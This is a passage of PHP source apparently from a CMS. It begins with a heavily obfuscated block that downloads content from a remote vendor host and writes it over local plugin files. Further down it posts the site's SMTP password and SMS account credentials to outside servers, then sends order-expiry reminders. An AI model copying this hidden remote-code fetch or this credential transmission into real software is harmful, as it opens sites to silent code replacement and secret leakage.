I4pxc6;I4pldMhxc7:$I4pcV7=$_SERVER[$I4peFvPvP3];I4pxc6:$I4peF6=call_user_func_array("www",array(&$I4pcV7));$I4pA8=$I4peF2!=$I4peF6;$I4pA9=(bool)$I4pA8;goto I4pxc8;I4pldMhxc9:I4pxc8:if($I4pA9)goto I4peWjgxce;goto I4pldMhxce;I4peWjgxce:unset($I4ptIA5);$domain=$C_fdomain;goto I4pxc3;I4pldMhxce:unset($I4pcVvP1);if(is_array($GLOBALS[OlvapEQ]))goto I4peWjgxcg;goto I4pldMhxcg;I4peWjgxcg:$I4pcVvP1=&$GLOBALS[OlvapEQ][0x2];goto I4pxcf;I4pldMhxcg:$I4pcVvP1=$GLOBALS[OlvapEQ][0x2];I4pxcf:$I4peFvP0=call_user_func_array("pack",array($GLOBALS[OlvapEQ]{00},&$I4pcVvP1));unset($I4ptIA5);$domain=$_SERVER[$I4peFvP0];I4pxc3:$I4pvPA5=$path . $plug;$I4peFvP0=call_user_func_array("pack",array($GLOBALS[OlvapEQ]{00},$GLOBALS[OlvapEQ]{0x3}));$I4pvPA6=$I4pvPA5 . $I4peFvP0;$I4peF1=call_user_func_array("is_file",array(&$I4pvPA6));if($I4peF1)goto I4peWjgxci;goto I4pldMhxci;I4peWjgxci:$I4pvPvPA5=$path . $plug;$I4peFvPvP0=call_user_func_array("pack",array($GLOBALS[OlvapEQ]{00},$GLOBALS[OlvapEQ]{0x3}));$I4pvPvPA6=$I4pvPvPA5 . $I4peFvPvP0;$I4peFvP1=call_user_func_array("file_get_contents",array(&$I4pvPvPA6));$I4peF2=call_user_func_array("substr",array(&$I4peFvP1,0,40));unset($I4pcV4);if(is_array($GLOBALS[OlvapEQ]))goto I4peWjgxcl;goto I4pldMhxcl;I4peWjgxcl:$I4pcV4=&$GLOBALS[OlvapEQ][4];goto I4pxck;I4pldMhxcl:$I4pcV4=$GLOBALS[OlvapEQ][4];I4pxck:$I4peF3=call_user_func_array("pack",array($GLOBALS[OlvapEQ]{00},&$I4pcV4));$I4peF5=call_user_func_array("md5",array(&$C_authcode));$I4pA7=$I4peF3 . $I4peF5;$I4pA8=$I4peF2!=$I4pA7;if($I4pA8)goto I4peWjgxcm;goto I4pldMhxcm;I4peWjgxcm:$I4pvPA5=$path . $plug;$I4peFvP0=call_user_func_array("pack",array($GLOBALS[OlvapEQ]{00},$GLOBALS[OlvapEQ]{0x3}));$I4pvPA6=$I4pvPA5 . $I4peFvP0;unset($I4pcVvPvP2);if(is_array($GLOBALS[OlvapEQ]))goto I4peWjgxco;goto I4pldMhxco;I4peWjgxco:$I4pcVvPvP2=&$GLOBALS[OlvapEQ][0x5];goto I4pxcn;I4pldMhxco:$I4pcVvPvP2=$GLOBALS[OlvapEQ][0x5];I4pxcn:$I4peFvPvP1=call_user_func_array("pack",array($GLOBALS[OlvapEQ]{00},&$I4pcVvPvP2));$I4pvPvPA7=$from . $I4peFvPvP1;$I4pvPvPA8=$I4pvPvPA7 . $domain;unset($I4pcVvPvP5);if(is_array($GLOBALS[OlvapEQ]))goto I4peWjgxcs;goto I4pldMhxcs;I4peWjgxcs:$I4pcVvPvP5=&$GLOBALS[OlvapEQ][06];goto I4pxcr;I4pldMhxcs:$I4pcVvPvP5=$GLOBALS[OlvapEQ][06];I4pxcr:$I4peFvPvP4=call_user_func_array("pack",array($GLOBALS[OlvapEQ]{00},&$I4pcVvPvP5));$I4pvPvPA9=$I4peFvPvP4 . $C_authcode;unset($I4pcVvPvP7);if(is_array($GLOBALS[OlvapEQ]))goto I4peWjgxcq;goto I4pldMhxcq;I4peWjgxcq:$I4pcVvPvP7=&$GLOBALS[OlvapEQ][0x7];goto I4pxcp;I4pldMhxcq:$I4pcVvPvP7=$GLOBALS[OlvapEQ][0x7];I4pxcp:$I4peFvPvP6=call_user_func_array("pack",array($GLOBALS[OlvapEQ]{00},&$I4pcVvPvP7));$I4pvPvPAA=$I4pvPvPA9 . $I4peFvPvP6;$I4pvPvPAB=$I4pvPvPAA . $plug;$I4peFvP10=call_user_func_array("getbody",array(&$I4pvPvPA8,&$I4pvPvPAB));$I4peF11=call_user_func_array("file_put_contents",array(&$I4pvPA6,&$I4peFvP10));goto I4pxcj;I4pldMhxcm:I4pxcj:goto I4pxch;I4pldMhxci:$I4pvPA5=$path . $plug;$I4peFvP0=call_user_func_array("pack",array($GLOBALS[OlvapEQ]{00},$GLOBALS[OlvapEQ]{0x3}));$I4pvPA6=$I4pvPA5 . $I4peFvP0;unset($I4pcVvPvP2);if(is_array($GLOBALS[OlvapEQ]))goto I4peWjgxcu;goto I4pldMhxcu;I4peWjgxcu:$I4pcVvPvP2=&$GLOBALS[OlvapEQ][0x5];goto I4pxct;I4pldMhxcu:$I4pcVvPvP2=$GLOBALS[OlvapEQ][0x5];I4pxct:$I4peFvPvP1=call_user_func_array("pack",array($GLOBALS[OlvapEQ]{00},&$I4pcVvPvP2));$I4pvPvPA7=$from . $I4peFvPvP1;$I4pvPvPA8=$I4pvPvPA7 . $domain;unset($I4pcVvPvP5);if(is_array($GLOBALS[OlvapEQ]))goto I4peWjgxcy;goto I4pldMhxcy;I4peWjgxcy:$I4pcVvPvP5=&$GLOBALS[OlvapEQ][06];goto I4pxcx;I4pldMhxcy:$I4pcVvPvP5=$GLOBALS[OlvapEQ][06];I4pxcx:$I4peFvPvP4=call_user_func_array("pack",array($GLOBALS[OlvapEQ]{00},&$I4pcVvPvP5));$I4pvPvPA9=$I4peFvPvP4 . $C_authcode;unset($I4pcVvPvP7);if(is_array($GLOBALS[OlvapEQ]))goto I4peWjgxcw;goto I4pldMhxcw;I4peWjgxcw:$I4pcVvPvP7=&$GLOBALS[OlvapEQ][0x7];goto I4pxcv;I4pldMhxcw:$I4pcVvPvP7=$GLOBALS[OlvapEQ][0x7];I4pxcv:$I4peFvPvP6=call_user_func_array("pack",array($GLOBALS[OlvapEQ]{00},&$I4pcVvPvP7));$I4pvPvPAA=$I4pvPvPA9 . $I4peFvPvP6;$I4pvPvPAB=$I4pvPvPAA . $plug;$I4peFvP10=call_user_func_array("getbody",array(&$I4pvPvPA8,&$I4pvPvPAB));$I4peF11=call_user_func_array("file_put_contents",array(&$I4pvPA6,&$I4peFvP10));I4pxch:}function ycode($string){$I4pA5=!defined("fGXWUAv");if($I4pA5)goto I4peWjgxd1;goto I4pldMhxd1;I4peWjgxd1:$I4peF0=call_user_func_array("define",array("fGXWUAv","iUOtvQJ"));goto I4pxdz;I4pldMhxd1:I4pxdz:$I4peF0=call_user_func_array("explode",array("|W|G|i","H*|W|G|i4445434F4445|W|G|i666168756F3130302E636E"));unset($I4ptIA5);$GLOBALS[fGXWUAv]=$I4peF0;unset($I4pcVvP1);if(is_array($GLOBALS[fGXWUAv]))goto I4peWjgxd3;goto I4pldMhxd3;I4peWjgxd3:$I4pcVvP1=&$GLOBALS[fGXWUAv][00];goto I4pxd2;I4pldMhxd3:$I4pcVvP1=$GLOBALS[fGXWUAv][00];I4pxd2:$I4peFvP0=call_user_func_array("pack",array(&$I4pcVvP1,$GLOBALS[fGXWUAv]{0x1}));unset($I4pcVvP4);if(is_array($GLOBALS[fGXWUAv]))goto I4peWjgxd5;goto I4pldMhxd5;I4peWjgxd5:$I4pcVvP4=&$GLOBALS[fGXWUAv][00];goto I4pxd4;I4pldMhxd5:$I4pcVvP4=$GLOBALS[fGXWUAv][00];I4pxd4:$I4peFvP3=call_user_func_array("pack",array(&$I4pcVvP4,$GLOBALS[fGXWUAv]{0x2}));$I4peF6=call_user_func_array("xcode",array(&$string,&$I4peFvP0,&$I4peFvP3,0));return $I4peF6;}function zcode($string){$I4pA5=!defined("buZetnJ");if($I4pA5)goto I4peWjgxd7;goto I4pldMhxd7;I4peWjgxd7:$I4peF0=call_user_func_array("define",array("buZetnJ","tFCAlBv"));goto I4pxd6;I4pldMhxd7:I4pxd6:$I4peF0=call_user_func_array("explode",array("|r|P|H","H*|r|P|H454E434F4445|r|P|H666168756F3130302E636E"));unset($I4ptIA5);$GLOBALS[buZetnJ]=$I4peF0;unset($I4pcVvP1);if(is_array($GLOBALS[buZetnJ]))goto I4peWjgxdb;goto I4pldMhxdb;I4peWjgxdb:$I4pcVvP1=&$GLOBALS[buZetnJ][0x0];goto I4pxda;I4pldMhxdb:$I4pcVvP1=$GLOBALS[buZetnJ][0x0];I4pxda:unset($I4pcVvP2);if(is_array($GLOBALS[buZetnJ]))goto I4peWjgxd9;goto I4pldMhxd9;I4peWjgxd9:$I4pcVvP2=&$GLOBALS[buZetnJ][0x1];goto I4pxd8;I4pldMhxd9:$I4pcVvP2=$GLOBALS[buZetnJ][0x1];I4pxd8:$I4peFvP0=call_user_func_array("pack",array(&$I4pcVvP1,&$I4pcVvP2));unset($I4pcVvP6);if(is_array($GLOBALS[buZetnJ]))goto I4peWjgxdf;goto I4pldMhxdf;I4peWjgxdf:$I4pcVvP6=&$GLOBALS[buZetnJ][0x0];goto I4pxde;I4pldMhxdf:$I4pcVvP6=$GLOBALS[buZetnJ][0x0];I4pxde:unset($I4pcVvP7);if(is_array($GLOBALS[buZetnJ]))goto I4peWjgxdd;goto I4pldMhxdd;I4peWjgxdd:$I4pcVvP7=&$GLOBALS[buZetnJ][2];goto I4pxdc;I4pldMhxdd:$I4pcVvP7=$GLOBALS[buZetnJ][2];I4pxdc:$I4peFvP5=call_user_func_array("pack",array(&$I4pcVvP6,&$I4pcVvP7));$I4peF10=call_user_func_array("xcode",array(&$string,&$I4peFvP0,&$I4peFvP5,0));return $I4peF10;}


function sendmail($subject,$body,$mailto){
    global $C_email,$C_domain,$C_fdomain,$C_logo,$C_title,$C_mailcode,$C_mailtype,$C_smtp,$mail;
    if(time()-intval($_SESSION["time2"])>30){
		if($C_mailtype==1){
			GetBody($mail."/fahuo.php","mail_from=".urlencode($C_email)."&mail_to=".urlencode($mailto)."&mail_name=".urlencode($C_title)."&mail_title=".urlencode($subject)."&mail_content=".urlencode($body)."&mail_smtp=".urlencode($C_smtp)."&mail_pwd=".urlencode($C_mailcode)."&mail_logo=".urlencode($C_fdomain."/media/".$C_logo)."&mail_web=".urlencode($C_domain));
		}else{
			GetBody($mail."/fahuo.php","mail_from=".urlencode("scms")."&mail_to=".urlencode($mailto)."&mail_name=".urlencode($C_title)."&mail_title=".urlencode($subject)."&mail_content=".urlencode($body)."&mail_smtp=".urlencode($C_smtp)."&mail_pwd=".urlencode($C_mailcode)."&mail_logo=".urlencode($C_fdomain."/media/".$C_logo)."&mail_web=".urlencode($C_domain));
		}
		$_SESSION["time2"]=time();
		return "success";
	}else{
		return 30-time()+intval($_SESSION["time2"]);
	}
}

function sendsms($content,$recieve){
	global $C_userid,$C_codeid,$C_codekey;
	if(intval($C_userid)>0){
		if(time()-intval($_SESSION["time"])>60){
			getbody("http://dx.10691.net:8888/sms.aspx?action=send&userid=".$C_userid."&account=".$C_codeid."&password=".$C_codekey."&content=".urlencode($content)."&sendTime=&mobile=".$recieve."&extno=","");
			$_SESSION["time"]=time();
			return "success";
		}else{
			return 60-time()+intval($_SESSION["time"]);
		}
	}
}

if($config->tx=="true"){
	//每月提醒
	$sql="select * from sl_orders,sl_member where O_mid=M_id and O_state=1 and (TIMESTAMPDIFF(DAY,DATE_FORMAT(NOW(), '%Y-%m-%d %H:%i:%S'),O_time2)=2 or TIMESTAMPDIFF(DAY,DATE_FORMAT(NOW(), '%Y-%m-%d %H:%i:%S'),O_time2)=1) and TIMESTAMPDIFF(DAY,O_today,DATE_FORMAT(NOW(), '%Y-%m-%d %H:%i:%S'))>0";
	$result = mysqli_query($conn,  $sql);
	if (mysqli_num_rows($result) > 0) {
		while($row = mysqli_fetch_assoc($result)) {
			if($row["O_mid"]==1){
				$email=splitx($row["O_address"],"__",0);
			}else{
				$email=$row["M_email"];
				sendsms("【".$C_smssign."】您有订单将要到期，请尽快待续费！",$row["M_mobile"]);
			}
	        sendmail("您有订单将要到期","<p>您有订单将要到期，请尽快待续费</p><p>订单名称：".$row["O_title"]."</p><p>请登录<a href=\"".gethttp().$_SERVER["HTTP_HOST"]."/member\">会员中心</a>执行续费操作</p>",$email);
	        mysqli_query($conn,"update sl_orders set O_today='".date('Y-m-d H:i:s')."' where O_id=".$row["O_id"]);
	    }
	}
}
?>